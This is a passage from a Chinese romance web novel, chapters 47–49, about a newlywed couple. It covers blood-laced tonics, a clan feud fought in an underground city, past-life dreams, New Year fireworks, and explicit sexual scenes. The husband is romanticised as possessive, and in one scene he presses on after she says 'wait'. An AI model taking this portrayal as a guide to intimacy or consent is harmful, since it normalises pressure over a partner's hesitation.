鹿微眠没反应过来,或许是反应过来了,没敢接受那直白的言语。 她拉了拉被子,“我,来月事了。” “我知道。”封行渊按住她拉被子的手,“但你太容易害羞了,得先习惯,不然到时候太紧张进不去,你会疼。” 鹿微眠手指被他捏得发酥,刚想问他习惯什么。 她小衣细带被指骨分明的手指勾住,轻轻一抽就抽开了绳带。 小衣被扔在外面的软椅上。 “先习惯在我面前不穿这个。” 鹿微眠无法适应自己这个样子暴露在男人的视线中。 没有遮挡就仿佛给了一个随时能被攻击的信号,只看他想不想。 鹿微眠缩成一团,躲在被子里央求着,“熄了灯吧。” 少年还想再欣赏一会儿,听见她说熄灯,也就灭了灯盏。 鹿微眠想用他的手,但这会儿反倒不好意思提。 黑暗中,少年大手却毫无征兆地从身后将她捞了过去。 很自然地摁在了她微凉的小肚子上。 鹿微眠脊背紧贴着他的胸膛。 小腹处被他的手掌温起一层层暖意。 鹿微眠有点舒服了。 没穿小衣反倒减轻了发胀感。 鹿微眠忍不住问,“为什么会想安这样的纱帐?” “好看。”封行渊的选择原因很简单,很符合他的行事风格。 他问,“不喜欢吗?” “没有,喜欢的。” 鹿微眠无法否认,的确是很好看。 封行渊想她应该也喜欢,这是他从书里看到的,有利于增进夫妻感情的纱帐颜色。 况且这纱帐照在她身上真的很好看。 他更喜欢她的身体了。 他看到有如此功效的纱帐还有很多种,他们可以慢慢换着用。 “对了,”鹿微眠又想起来,“你从哪里弄来的补药,还挺好喝的。” 封行渊将手臂收得更紧了些,简单道,“寻常药房而已。” 这个角度,鹿微眠看不见他手腕上一道新结的疤痕。 “我气血是不太好,”鹿微眠与他闲聊,又按了一下他放在自己小肚子上的手,“我来月事的时候很容易小肚子凉,……会胀得疼。” 她中间一段声音细若蚊蝇,让人很难听清。 封行渊只听到了疼,不由得低头凑近,“哪里疼?” 鹿微眠没想到他还追着问,再说一遍有点难为情,嗫嚅着偷梁换柱,“肚子疼。” “你方才说了,小肚子凉,另一个地方会疼。”封行渊觉得他不会听错,大抵是最近比较紧张她的身体,听到疼他也不会轻易揭过去,正色道,“我看看。” 鹿微眠找借口,“不要看了,我困。” 他难得严厉,握住她的肩膀,“转过来。” 鹿微眠不肯转过去,“是胸,胸口。” 封行渊握住她肩膀的手停滞了一下。 触碰到了他的认知盲区,“这里胀的话,需要怎么样?” “不怎么样,”鹿微眠吭吭哧哧地,“喝药应该就好了吧。” “可以吗?”少年若有所思,“不需要我……” 鹿微眠打断他,“睡觉。” 她用被子将自己完全包裹住,自动拒绝了他的帮助。 不过倒是睡得格外踏实,也不知是不是那补药起了作用。 今晚的梦境也格外平顺。 有一点不好就是她又梦到了前世。 只不过没有梦到承宠,而是那人占据长安城后,她在宫里的寻常日夜。 只要不在床上,她的日子还是好过的。 就是他刚刚称王时,她作为囚徒,每日都要喝他送来的药。 起先她很抗拒。 后来认命了觉得自己也没什么不能喝的。 大不了毒死她,好下黄泉与家人团聚。 但是意外地好像没有什么不好的反应。 鹿微眠猜测过可能是什么淫-药,想要把她的身子养不正经,供他亵玩。 也猜测过是不是什么避子的汤药。 后来鹿微眠觉得后者的可能性大一些。 不过她身子骨早就在那一场大病失明后坏了,不用喝药也怀不上。 御医本说她的病应当活不过半年。 但后来倒是安生过了一年,也算是个奇迹。 鹿微眠睡醒后,封行渊已经去上值。 她梳洗完,暮云又送上来一小茶盏的补药,说每日早晚用。 鹿微眠拿起杯盏,刚闻到红糖与那铁锈味道时,整个人停滞下来。 她好像知道为什么觉得哪里熟悉了。 这铁锈气息,和前世她每日要喝的药,很像! 第47章 夫君 鹿微眠又闻了闻。 这会儿那锈气反而淡了一些。 但也不太一样。 这一碗是甜的, 里面应当还放了红枣枸杞。 比那个好喝很多。 也可能是撞了同一味药材。 鹿微眠小声嘀咕,“什么药会有锈气啊。” 暮云回着,“补气血的药很多都会有锈的味道, 能生血安神的。” 鹿微眠似懂非懂地应了一声。 帝台城内,血月高悬。 空气中满是地下城独有的潮湿气息。 封行渊手上的玫瑰石被雕琢得初现美貌。 凌双走了进来,“主子, 那云涎香的事情查到了。” 封行渊头都没抬一下, “还带了客人来?” 凌一低头, “是。” 他侧身,两个人影从阁楼门口走了进来。 为首的女子一袭黑衣, “还真是大水冲了龙王庙, 咱们自家人早知如此,何必自相残杀。” 她进来也不拘礼, 坐在了一旁的座椅上。 侍女守在旁边。 封行渊黑瞳血痣在血月当空的夜晚格外渗人。 他随意地拂去桌上亮晶晶的宝石碎屑,“你不知道吗?” 她当然知道封行渊问的是鹿微眠与他的关系。 “我的意思是,你我还有聂婵, 才是自家人。”女子叹了一口气,“世子殿下,为了一个外族女子,杀了自家族人, 真是太让我失望了。枉我当年费尽心思,把殿下救到此处。” 封行渊这才撩起眼皮看她, 唇角轻勾,“后悔了的话, 可以现在杀了我。” “瞧瞧, 怎么还生气了呢?” 封行渊撑着额角,闲散道, “你不动手,那我可就要动了。” 话落,一道利刃刺破层层黑纱,径直朝着座位上的女子飞旋过去! 女子身边侍女瞬间有所反应,手里长剑弹出将利刃挡开! “叮”地一声尖利脆响。 女子饶有兴致地看他,“当真要与我自相残杀?” 封行渊慢条斯理道,“淑妃娘娘,她才是你的血亲。” 他调侃着,“你都肯对无辜血亲下手,那我杀你谈何自相残杀?毕竟你我除了同族,交集不多,我实在是不知你暗中做了多少事,又在打什么算盘。” “无论我做什么都是为了西陵,殿下没必要知道。”虞念不甚在意,“血不血亲的,在这长安城里,都是棋子。” “我与她母亲也是血亲,”虞念笑了,“怎么当年入宫,老侯爷要我替她呢?” 虞念轻“啧”一声,“殿下怎么开始懂什么血亲的了。” 她是看着他长大的,她认为封轸长到现在应该是冷血无情、根本不在乎什么感情是非才对。 “你该不会以为,这长安城里,能有真情?”虞念嗓音悠扬,“醒醒吧孩子。” “这里的人,表面将礼教奉为圭臬,但骨子里无比自私凉薄。吸干我们的血,还要指责我们乃蛮夷之后,说我们是妖怪,是祸患。” “你还是把心思放在正事上。我们才是一路人,”虞念说着起身,“毕竟你说,谁会喜欢为祸百端的疯子呢。” 虞念正要离开。 封行渊手指微动。 阁楼机关瞬间打开。 里外藏在暗影里的暗卫骤然间出动,将她与她的侍女团团围住。 几乎是同时,揽星阁外瞬间聚集了帝台城全部守卫来接应她。 虞念轻叹一口气,“孩子你猜,是你先杀了我,还是我先毁了这里。” 封行渊撑着额角,“那你就要小心喽,揽星阁有自毁机关,连着帝台城根基。” “至于在哪……”少年语调轻快,“我忘了。” “倘若碰到,那可是城主几十年心血啊。” 虞念脸上神色凝重起来。 不知是谁先拔了剑,整个阁楼之中骤然爆发起一片混战。 刀光剑影、兵刃相接。 屋外的守卫闯进来接应,但碍于自毁机关始终束手束脚。 虞念逃出来时,手臂上一条刺眼的伤口,不间断地往下滴落鲜血。 侍女上前,给她涂药,“他如今竟然连城主您都敢伤。” 虞念看起来并不生气,“这不就是我想要的吗。” 她把封轸救回来,送去最刻薄阴毒的封府,暗箱操作让封轸逐渐成为一个心狠手辣、暴戾无情的掌权人,和她一样痛恨长安,将这长安城搅得一团乱,拿回属于他们西陵的一切。 她本以为,事情会一直按照她的计划走。 但是,这个计划,好像有一个意外。 鹿微眠。 * 封行渊回到府邸的时候,夜色浓重,鹿微眠已经睡了。 他站在床榻边看了她许久。 不知为何想起了那句,“毕竟你说,谁会喜欢为祸百端的疯子呢。” 等他反应过来的时候,他已经探进寝被里,将人环住。 鹿微眠被这怀抱挤压出细碎的嘤咛。 封行渊又梦到了那些他没有经历过的事情。 但很熟悉。 梦里他们也是夫妻。 她一成婚就与他坦白,她喜欢别人。 他并不在意,她爱喜欢谁喜欢谁,跟他有什么关系。 他们在同一个院子里,如同陌生人一样鲜少交集。 只是这个小姑娘很奇怪。 他谎称伤病时,她总是会叫人送补汤,送糕点、送药。 兴许是高门大院里,那些虚浮的礼节所致,让她无法看着同一屋檐下的人有难而无动于衷。 围猎被污蔑后,他把刑部炸了。 她还万般担忧地来看他,给他带了好多东西。 好像他受了多大的委屈一般。 挺有趣的。 她偶尔会偷偷看他,看他的手。 被发现了会脸红。 他知道她喜欢看什么。 有时候会故意把手搭在窗沿,装作看书的样子。 她真就一直偷看。 简单得像是一张白纸,心眼直的什么都藏不住。 慕青辞就喜欢这样的小笨蛋。 封行渊难以理解。 后来,封骏也喜欢那个小笨蛋,想烧死他夺妻。 一把大火放出来,她哭着跑进了他的屋子。 他以为她是害怕求救。 没想到她拉着他的手告诉他,“我带你出去。” 她是来救他的。 这世间人都想他死,她要来救他。 害怕也要来。 也是因为这场大火,她知道了他的秘密。 封行渊那一瞬间是想杀了她的。 她却担忧地看他流血的眼睛,不停吹气,问他,“很疼吗?” 他看着她被炭火熏得灰扑扑的脸,突然就不想杀她了。 他好像知道,为什么慕青辞会喜欢这样的小笨蛋了。 他们搬了家,她把他带回司空府住着。 还是同一个院子里的陌生人。 他们互不相熟,还是常会收到她给的小糕点、小物件。 他也会看到她心神不宁地坐在窗口发呆,或者给谁写信。 他偶尔会想,她还是喜欢慕青辞吗。 罢了,不重要。 看她气色一日比一日差,多半是中毒了。 她既然想救他,那他也救她一次,也算是偿还人情。 可惜他对她而言一个陌生人,无法接触或者搜查她日常用的东西,只告诉她身边有毒物,不能再用。 他发现得有点晚了。 只能大量取血入药做成药丸炼成,打算给她。 凌一问他,身上怎么又多了那么多道取血痕。 他只说备着日后的药。 药还没来得及给她。 中间的画面变得模糊非常。 但好似发生了很多事情。 再度清晰起来的时候,梦境画面已然被大火覆盖。 似乎是因为他连续数日给她取血,缺血发昏,寡不敌众。 面具被挑开。 封行渊单手执剑刺入泥土撑住身形,左眼暴露在漫天火光下,开始渗血。 在剧痛之中,他听到火势之外慕青辞的声音,“你左眼果然怕火光。” “封轸,阿眠不要你了,她要我。” “她得知你恶贯满盈,当真是怕极了。” “她要我尽快铲除你呢。” 声音在山火之中疯狂回荡着。 刺激着他的神经。 “封轸,你被弃了。” * 这是第一次鹿微眠在封行渊之前醒。 她睁开眼睛就感觉自己被禁锢得很紧,有些喘不过气来。 鹿微眠好不容易才从他手臂中挣脱出来,回身看他,发现他还在睡着。 也不知是做了什么梦,封行渊眉头紧皱,额角全是冷汗。 鹿微眠叫了他两声,他没有反应。 她只好作罢,用帕子擦了擦他额角汗珠,先行起床。 暮云也很奇怪,“姑爷还没醒啊?” 真是稀奇。 “许是昨晚回来太累了吧。”鹿微眠记得她睡觉的时候,他还没回来。 也不知是什么时候回来的。 鹿微眠梳洗整理好,在花厅用完早膳,去列今日要采买的单子。 孙嬷嬷过来收拾东西,“姑娘要出门吗?” “对,我今日约了歆月姐姐上街。” 鹿微眠怕自己忘了,把要买的东西写下来,“嬷嬷有没有什么要带的?” “我能有什么要带的,你看你喜欢的就成。” 鹿微眠其实是想要给大家带年礼的。 她顺便问了一句,“对了,他昨晚什么时辰回来的?” 孙嬷嬷其实知道她说的是谁,但偏不答她的话,“谁啊?” “封行渊啊。” “我的乖乖,”孙嬷嬷走上前,“姑爷整日夫人夫人的叫你,你就直呼他姓名啊。” 鹿微眠抿唇,“我也没叫他封轸嘛。” 孙嬷嬷直言不讳,“叫亲近一些,夫君会叫吗?” 鹿微眠从前只当着外人面这么称呼封行渊的身份。 但说真的要面对他,她有点叫不出口,“我觉得现在这样挺好的。” “还能更好呢。”孙嬷嬷撺掇她,“叫不出来,就多练练,乖。” 怎么练啊。 要说她无意间说出来可能还好。 这样有意识地说,反而难以出口。 鹿微眠写着写着清单,笔就跑到另一张纸上去了。 写了一遍夫君。 鹿微眠唇线绷直,又写了一遍。 夫君夫君写了半张纸,她难为情地开始写封轸、封行渊。 乱七八糟写了一张纸,屋外暮云来叫她,“谷姑娘的车到门口了。” “诶好。”鹿微眠赶忙将清单拿走,那张纸留在了桌上,出门告诉孙嬷嬷,“嬷嬷不用等我用晚膳了。” 她说着上了门口的马车。 孙嬷嬷应了一声“好”。 年前这些小孩子们总爱小聚一番买买东西,再见就是上元节后了,孙嬷嬷也习以为常。 她走到桌边整理桌案,看见鹿微眠写满的那张纸,露出了姨母笑。 鹿微眠与谷歆月闲逛着,看见些漂亮的小饰品就走不动路。 逛了约么一个下午,鹿微眠叫钧宜先把东西送回家,分给大家。 钧宜记下鹿微眠的要求,就带着东西先回府。 孙嬷嬷出来接车上的东西。 钧宜没给嬷嬷太多东西,“这些个都是前后院洒扫的年礼,我去给就成。” “暮云暮雨我也可以送,”他交给嬷嬷几个盒子,“这个是您的,这个是给姑爷的,您就帮姑娘给姑爷带过去吧。” 孙嬷嬷笑得合不拢嘴,“好嘞。” 她开开心心地抱着东西回院,整理好东西刚想给封行渊送过去,又觉得缺了点什么。 是了,小两口送礼物,怎么能干巴着送。 * 封行渊这一觉睡到了傍晚,才从梦境中脱身睁开眼睛。 屋子里一片漆黑,让他恍惚中以为自己只睡了一小会儿。 但手边空了。 人不见了。 屋子里也没有她的踪影。 四周寂静非常,连那抹茉莉甜香都消失殆尽,像是她已经走了很久,也像是她从来没有来过。 眼下是什么时辰了。 她为什么不见了。 封行渊在原地坐了很久,起身下床。 而后推开房间门,叫了一声“墨宝”,角落里一个黑影就应声窜了出来。 他蹲下身,轻抓了下墨宝的下颚。 少年这会儿没戴面具,屋内也没有点灯,只有屋外清寒月色衬得他黑瞳血痣妖冶阴鸷。 他幽然出声,“她去哪了?” 墨宝触及他的眼神,瑟缩了一下后,下颚被少年修长手指握住,不许躲避。 它很快瞳孔有些涣散后聚焦,“喵”了一声,往外走带路。 出门正碰上孙嬷嬷抱了个盒子进来,“姑爷醒得刚好。” 她直接进了屋子,将盒子放在了门口的橱柜上,,“姑娘出去采买,这是给姑爷您的。” 封行渊转头看了看夜色,意识到眼下的时辰并不是深夜,而是已经到了第二日。 “她去采买了?” “是啊,与伯爵府的千金一同去的。” “什么时候回来。” “估摸用了晚膳就回来了。” 孙嬷嬷问着,“要不要给姑爷传晚膳?” “不用。” “那您有事叫我。”孙嬷嬷心大,根本没看出来封行渊的情绪异常,说完就开开心心地回了屋。 封行渊站在原地,定定地看了那个盒子很久,才伸手打开。 这是一个专程送礼物用的大木盒,里面排排放了许多小盒子,才是她买回来的礼物。 封行渊甫一打开,就看到了里面洒满的花瓣,铺在一张纸上。 随着他打开盒子的动作,花瓣散开。 上面满是蝴蝶般飞舞的娟秀小字。 “夫君夫君夫君夫君夫君”入眼,隔着纸张都仿佛能听见她的声音。 东边一句、西边一句,中间夹杂着“封行渊”、“封轸”,后面又是几声“夫君”。 歪歪斜斜像是少女凌乱的心事。 封行渊眼睫轻颤。 心头躁郁仿佛能被字迹安抚。 他出神许久,紧接着听到屋外欢快地谈话声。 有人在打招呼,“夫人回来了。” “是啊,我回来了。”鹿微眠蹦蹦跳跳地回了屋子,看见封行渊站在原地发呆,不由得探头看他,“你怎么站在这里啊,在看什……” 鹿微眠看见那张写满了他的名字和“夫君”二字的纸张忽然间愣住。 她浑身上下充血,一把拿了过来,羞恼地叫孙嬷嬷,“嬷嬷!” 孙嬷嬷装聋。 心想着叫她干啥,赶紧叫夫君啊。 鹿微眠正要出去逃避现实,手腕被人一把抓住。 她又被拉回来几步。 封行渊将纸张递过去,大手扣着她手腕缓慢向下摩挲着她的指骨,“夫人写得很好看。” 他眼底有明显的红血丝,“所以,这夫君是写给谁的?” 鹿微眠被他眼神烫了一下,不自在地视线闪躲,“你知道我写的是谁。” 她说完就想推开他的手,却反被扣得更紧,拉着她往前一步。 鹿微眠一步就抵到了他的鞋尖。 他问,“所以是谁?” “你。” 他声音很低,夹杂着有些偏执的情绪,“我是谁?” 鹿微眠抿唇,察觉到他的情绪异样,只好妥协道,“好啦,夫君是你,封轸、封行渊是我夫君,我的乖乖夫君。” 封行渊忽而轻快地笑了,眼底红血丝更重,“所以,夫妻是不能随便分开的对不对?” 鹿微眠认真回答,“当然了。” 她还怕他不懂,给他解释着,“夫妻是合乎律例的契约关系,表示责任和担当,不能轻易毁约,除非有人违背了夫妻间的承诺,不在乎或者主动破坏这段关系,伤害对方。” “如果我没有违背和你的承诺,没有破坏我们之间的关系,没有伤害你……” 鹿微眠接道,“那我也不会的。” 封行渊靠近她,殷红眼底裹挟着野性肆意描摹她的唇线,嗓音嘶哑,“如果有人做不到怎么办?” 鹿微眠动了动唇,刚要开口。 忽然间被他微凉的唇瓣堵住将要出口的话,以吻封缄。 罢了,他不想再想了。 第48章 快乐 年底下了一场大雪, 正好朝中便开始陆续休沐* ,直到年后恢复上值。 隔天除夕夜,府中挂上了大红灯笼, 贴好对联和窗花。 素裹银妆与火红灯笼相衬,清亮喜庆。 鹿微眠见封行渊休沐好似也没闲着,每日回来, 都来叫她拆盒子。 自从她说过首饰已经很多了之后, 封行渊倒是少买首饰了, 每次盒子拆开都是些漂亮的小裙子。 封行渊会一样一样在她身上比对,像是装扮漂亮的娃娃。 但不得不说, 他的眼光还是好的。 鹿微眠起先还觉得他装了那么大一个衣柜屋有些夸张, 这才搬进来几天,封行渊就陆陆续续挂了小半个屋子。 但要说不喜欢是假的。 没有女孩子不喜欢满衣柜的漂亮衣服。 除夕当日, 鹿微眠晨起就一头扎进了衣柜里选衣服。 她听见身后传来的脚步声,转头看见封行渊跟着进来,走到门口抱臂靠在旁边。 鹿微眠问他, “你要拿衣服嘛?” “你先挑。”封行渊悠闲道,“我不急。” 鹿微眠选了一件红裙,正要换,忽然意识到有人在看。 她走到门口将封行渊推出去, “不急的话,你出去等我。” 封行渊由着她推出来, 坐在屋内的座椅上。 没多久,鹿微眠就换好裙子跑出来, “你看这件好看吗?” 封行渊点头, “好看。” 但鹿微眠自己好像觉得不太合适,“有点太隆重了。” 她又跑进去选裙子, 跑出来给他看。 封行渊撑着额角,似乎很喜欢她更换漂亮小裙子跑出来的样子。 看起来赏心悦目,因此就一直看。 鹿微眠选了一件绒线撒花裙、金缕雪绣褙子和一条甜橙红披帛。 “今日在家守岁,这个简单一点。”鹿微眠对着铜镜整理着身上的衣服,“等过两日回司空府再换那个。” 屋外院子里很是热闹,下人们一大早就起来生火烧水,准备着今日守岁用的东西。 暮云敲门示意,“夫人,二少爷来了。” 鹿微眠都不用辨别是哪个二少爷,屋外就响起了鹿峥的声音,“阿姐,我存了好些爆竹,给你送一些过来。” 鹿微眠出门,看见鹿峥正往院子里堆爆竹。 堆好了之后,鹿峥拍了拍手上的灰尘,对于自己的杰作很是满意。 鹿微眠走上前,“这些与往年的有什么区别吗?” “区别可大了!”鹿峥提起这些就很兴奋。 他捡起其中一个,“这个是震天雷,点了特别有劲!” 鹿微眠太了解鹿峥了,这个特别有劲应该是他们男孩子喜欢的有劲。 鹿峥逐个介绍着,“这个叫梨花竹。” “到时候把这根引线点燃,它响起的时候,会在地上开满小火花,很是好看。” “这个是霜飞花,能飞上去的炸开的。” 这几个听上去还有些意思。 鹿微眠捡起一个翻看了一下,“响的你留着放吧,我更喜欢会开花的。” 封行渊是不太知道这些东西的区别,他从前也看别的小孩放过,但他没有过放烟花的机会。 后来火药落在他手里,就是用来把人炸开花的武器。 封行渊思索了一遍,那他确实也更喜欢能炸开花的。 很赏心悦目。 “这个好看,就是不响,”鹿峥遗憾非常,“可惜眼下还没到晚上,我不能给你演示一下。” 他把东西全部介绍完就先回了司空府。 鹿峥完全闲不住,邻近傍晚年夜饭开席之前,他又跑过来了,“阿姐!我来给你放烟花了。” 孙嬷嬷笑道,“小少爷,您这一天跑得还挺勤。” “我太无聊了。”说实话这还是第一年鹿微眠不在,他自己在家过年,“而且这般近,左不过就走两步。” 说来,他姐没有嫁去东宫也是好事。 若是嫁去东宫,那逢年过节都得请旨才能归宁。 鹿微眠出来逗他,“想我了就直说。” 鹿峥别开头,捡起一个震天雷,别别扭扭地不肯承认,“我才没有。” 石阶上封行渊耳朵微动,看向鹿峥。 想到了从前鹿微眠的一些说辞,这小子就是她心里排在他前面的弟弟。 他正看着那姐弟俩说笑,鹿峥突然点燃了震天雷。 “轰”地一声巨响! 鹿微眠吓得尖叫一声,捂住耳朵后退几步,很自觉地钻进了封行渊胸口。 “鹿峥!你都不跟我说一声,你讨打!” 鹿峥“嘿嘿嘿”地笑了。 封行渊也笑了。 现在他应该排在弟弟前面了。 鹿微眠拉封行渊走开,“走,我们去放别的,不理他。” “别嘛,阿姐。”鹿峥凑过来,“我帮你们点还不成嘛。” 多来一个仆人,鹿微眠也不拒绝。 她给鹿峥一个将功折罪的机会,坐在院子的秋千椅上看他给自己放烟花。 梨花竹炸开,细碎的火花星点从竹筒中跳跃而出,飞旋在地面上又溅起一个一个的小火花。 仿佛满地星点,的确很是好看。 鹿微眠轻轻“哇”了一声。 被封行渊听见。 鹿峥又去放霜飞花,火药被冲击力送上天空炸开绚丽花朵。 不只是他们家,晚膳时间,长安城内各处都是烟花爆竹声响,四周夜空满是接二连三绽放开的花朵。 鹿峥放烟花放得很是激动,“阿姐,你来试试!” 鹿微眠转头看封行渊,“要一起吗?” 封行渊欣然答应,跟着她起身走上前。 鹿微眠的胆子还是稍小一些,点燃引线时把手臂伸直,拉出很远的距离。 也不知是不是周围光线太暗,鹿微眠一时间有些看不清引线在哪里。 她比对着找了一会儿,正疑惑自己怎么看不清。 手腕被人从后面握住。 鹿微眠偏头,额发碰到了少年轮廓清晰的下颚线。 封行渊握着她的手,帮她找到了引线的位置。 火星亮起,他顺势拉她起身。 烟火升空从他们头顶盛开,火花在夜空跳跃。 鹿微眠很是喜欢。 这算的上是封行渊第一次放烟花。 放烟花好像跟点他的炸药没有什么区别。 他心情愉悦了些,“你喜欢这个?” 鹿微眠点头,“嗯。” 封行渊语调悠然,“这个简单。” 鹿微眠没听懂什么简单,孙嬷嬷就喊他们,“姑娘姑爷该吃饭了。” “小少爷要不要留下来吃点。” 鹿峥听着到了时辰,“那我该回家了,母亲还在家等我呢,我明日再来找阿姐。” 鹿峥支会了一声,就小跑着离开府苑。 孙嬷嬷瞧他溜得快,只笑道,“咱们家少爷就是活泼好动,跑得这般快。” 她张罗着让大家入席吃年夜饭。 饭后围炉烤火,等着守岁。 暮云暮雨和孙嬷嬷一起在厅堂抓福袋,封行渊出去了一趟。 鹿微眠先回了房翻找出来了自己放在橱柜里的一个盒子,守着炉火坐在屋子里,偶尔能听到隔壁的笑闹声。 不多时,封行渊从外面回来。 鹿微眠来了点精神,“你去哪里了?” 封行渊将外衫褪下,拿出来一大一小两串糖球。 鹿微眠眼睛亮了一下,“眼下还有卖这个的!” “出门看到就买回来了。” 封行渊将大的给了鹿微眠,小的糖球一放下,角落里墨宝闻着味就凑了过来。 叼着回了自己的小窝里。 鹿微眠一面吃一面与他闲聊。 封行渊问她,“从前你在家是如何守岁?” “我啊,一般是与鹿峥在父亲母亲房里守岁,吃吃喝喝,下棋堆雪人,看烟花爆竹。”鹿微眠看向他,“你呢?” 封行渊沉吟片刻,“没有印象。” 他从前的每一日都是一样的,没有特别的年节。 也没有人与他庆祝。 鹿微眠看了他一会儿,过年这种事没有印象,要么是不想提,要么是枯燥无味的时光。 不说就不说了。 鹿微眠想起正事,“对了,我给你准备了礼物。” 她放下糖球,从一旁拿过来一个小盒子。 封行渊听到“礼物”二字还是迟疑了片刻,“你上次托孙嬷嬷给我了。” “那个只能算是过年要用的喜庆物件。”鹿微眠把盒子递到了他面前,“这个是新年礼物。” 封行渊伸手接过来。 盒子打开,是一串同心结玉佩。 和田玉温润,被红绳牵系,下面是工脚有点歪的花络,但看得出来是尽力了。 应当就不是外面卖的。 是有人自己做的。 同心结,永结同心。 鹿微眠看了看玉佩,又看了看他的反应,“喜欢吗?” 恰好,快到子时,屋外响起了此起彼伏地爆竹声响。 城中各家各户都喜气洋洋地庆祝新年到来。 封行渊动了动唇,只听得到自己胸腔内,震耳欲聋的心跳声。 暮云过来提醒鹿微眠钧宜要放烟花了。 鹿微眠走到房间窗口看,周围声响太大,鹿微眠不由得伸手捂住自己的耳朵。 很快有人接替她捂住了她的耳朵,然后在她耳边低声道,“我也有个礼物要送给你。” 鹿微眠正要疑惑地转头看他,忽而看到浩瀚夜空之中,一道红烟拖尾迅速攀上夜空。 比起周围的烟火攀升地更高几分。 “轰”地一声炸开一朵偌大的烟花。 仿佛花朵盛开,花瓣向下坠落。 空气中有片刻的沉寂,眨眼间的停滞后。 那朵花的每一片花瓣光点都再次绽放开,层层铺满,迅速占领了整片夜空! 仿佛铺天盖地的流星雨临世。 也是一场盛大的烟火花朵瀑布,令人难以移开视线。 烟火盛放在她的眼底。 漫天花雨朝着长安城内的小蝴蝶降落,奔涌而来。 鹿微眠望着夜空出神许久,听到他问她,“喜欢吗?” 他的喜欢淹没在铺天盖地声响之后,又在足以让世界倾覆的烟花中爆裂开来! 一时间,长安城内,众人皆望着那绚烂盛大的烟花。 大概是无人见过如此盛景,长安城各处满是此起彼伏的惊叹声。 卫沉环抱着孩子,捂住他的耳朵,但还是挡不住小孩睁着紫葡萄般的大眼睛看那烟火瀑布。 明窈坐在旁边笑说,“他胆子还挺大。” 太傅府苑内,卢青给叶氏递药,被一家人叫着看烟花。 众人接连说着,“这般好的烟花,夫人看到了,来年定是要病愈了。” 城郊,凌双倚靠在一颗高大树木下,看着天空中炸开的烟花。 他手里握着一坛酒,和凌一手里酒碰了一下。 凌一感叹着,“真好看。” 凌双还有点遗憾,“这玩意,本来可不是朝天上放的。那是朝地上放炸毁长安城的,能削减朝廷一半兵力。主子怎么改主意了?” “省省吧。”凌一笑道,“他现在可不舍得毁了长安。” 凌双好奇,“为什么?” “他在长安养媳妇呢。” * 屋外夜空中烟火层层升空,屋内暖炉里火花轻爆。 鹿微眠转过身环住他的脖颈,吻上他是一件自然而然的事情。 吻如她的人一样,轻柔拘礼,泛着丝丝甜意,“我很喜欢。” “新春快乐,夫君。” 封行渊眼睫压低,他没说过祝福的话,但他是真的想要她快乐,“新春快乐。” 鹿微眠问,“你有什么新年愿望吗?” “我没有许过愿。我通常都是,想要什么直接拿。”封行渊低头回吻,他的吻与她不同,称得上是冒犯。 鹿微眠被他身高带得仰起头,纤细的脖颈拉长,露出美妙而脆弱的弧度。 少年纤细修长手指勾住她的衣衫裙带,缓慢抽开,“今晚再学一点好吗。” 鹿微眠腰身被他勾扯裙带的动作带得发酥。 她没有拒绝,默许他的所有动作。 但很快被混乱的衣物摩挲声掩盖。 今日新挑的衣裙被剥落掉在屋内地毯上,钗环一并坠落,上面的珠翠被这般力道带得轻轻摇晃。 被褪下所有衣饰还是让她有些难为情。 鹿微眠低了低头,偏又看到自己的身体。 她别开头,挂在他脖子上,似乎也想要借这个动作遮掩掉自己在他面前的样子。 自欺欺人地觉得这样他看不见。 封行渊只觉得胸口像是塞了一团香香软软的棉花。 他理顺她身后的长发。 鹿微眠感觉到散在身后的长发被他的手指一点点理顺。 一缕碎发被勾起,带得她麻麻痒痒的,她不自觉地蹭了一下。 这不蹭不要紧,一蹭,她就明显感觉到了什么。 接着发丝上的吻落在了她眼角眉梢,一路向下。 封行渊咬住她唇瓣的时候,喃喃自语了一句,“学会习惯我对你做些坏事。” 他呼吸间热气一同喷洒在她唇间,给这个吻平白增添了几分纠缠欲气。 鹿微眠的手被他摩挲着,磨得她手背发痒。 索求加深时,唇齿纠缠也跟着变得混乱。 鹿微眠忽然间被调转翻过身,双腿被他合拢。 这变化太快。 鹿微眠有些紧张,腿上神经被烫了一下,骤然变得脆弱起来。 她忽然间挣动了下。 倒也不是因为别的,她可耻地感觉,贴在腿上的……有点熟悉。 是与她不太匹配的熟悉。 让她很不合时宜地想到了那个人。 那人是西域人,所以某些地方与中原中庸人有明显的区别。 但怎么他也…… 熟悉的记忆涌上来,鹿微眠慌忙说着,“等……” 少年很难压抑住骨血内的躁,毫无征兆,也难以控制。 大抵是知道如此,所以他认为自己也得习惯,控制住对她的念头。 不至于让迅猛之势伤了人。 “别怕,在外面。” 他看书上说,女子年纪小准备不好容易见血受伤。 大多数女子初次只会疼,很难快乐。 今日新春,封行渊不想让她受伤。 因此三叩蓬门而不入。 鹿微眠趴在软枕中,手指攥紧身下的床褥。 但还是无法忽视相贴着亲密的触感,这是第一次没有阻隔的相碰触。 即便没有闯入,身上也仿佛已经沾染上了他的气息。 她埋在枕头里不肯出来。 偏生耳后的人也不消停,“书上说,女子外面也有快乐之处……” 他探寻着巧妙的机关。 那机关在书上像是一块白玉里面嵌着滚珠,滚动滚珠就能打开。 他好像找到了白玉滚珠。 鹿微眠骤然咬住枕头,脊背处漂亮的蝴蝶骨轻颤。 身后人却恶劣道,“看来是这。” 鹿微眠不肯承认,“不是。” “撒谎。” 他大概明白了这件事情与刑罚的区别。 是让她也快乐。 少年血色异瞳半阖,看着她垂落在床榻上的长发,低头吻过。 一并吻在了她的脊背上,她轻轻抖了一下。 他想,她的头发越来越好看了。 她也是。 鹿微眠失神时,脑海中仿佛也有烟花炸开,随即腰际一凉。 被人用软帕清理干净。 腿上皮肉被磨红了,他按着涂了凉药。 她埋在枕头里像是个鹌鹑一样,没好意思出来。 偏偏他还在夸她,“阿眠很棒。” 鹿微眠嘟嘟囔囔地,“这有什么棒的啊。” 封行渊弯唇,没有回答她为什么,只是把满是茉莉甜香花蜜的床褥换掉。 过了子时,长安城内的烟花爆竹声渐渐弱了下来,偶尔还能听到零星几个声响。 鹿微眠的心跳还没有平复下来,脑袋昏昏沉沉地倚靠在他的肩头。 半梦半醒之间,她听到他自言自语地比对着,“是大小不太合适。” “阿眠好小啊。” 难怪他每次撞到门口她都害怕他误闯,绷得很紧。 “我们塞点东西进去,先适应适应好不好?” 第49章 暖玉 鹿微眠身形瑟缩了一下, “不行……” 封行渊听来有点可惜,他都准备好了,“真的吗?那是用来防止你受伤的。” 他看书上说, 可以先这样扩张。 暖玉还是养身的。 鹿微眠没有再回答。 她的困意比思绪先行一步,将她坠入梦境。 很奇怪。 她最近梦到那个人的次数越来越多了。 梦里,她在宫廷中给他装扮“小黑”, 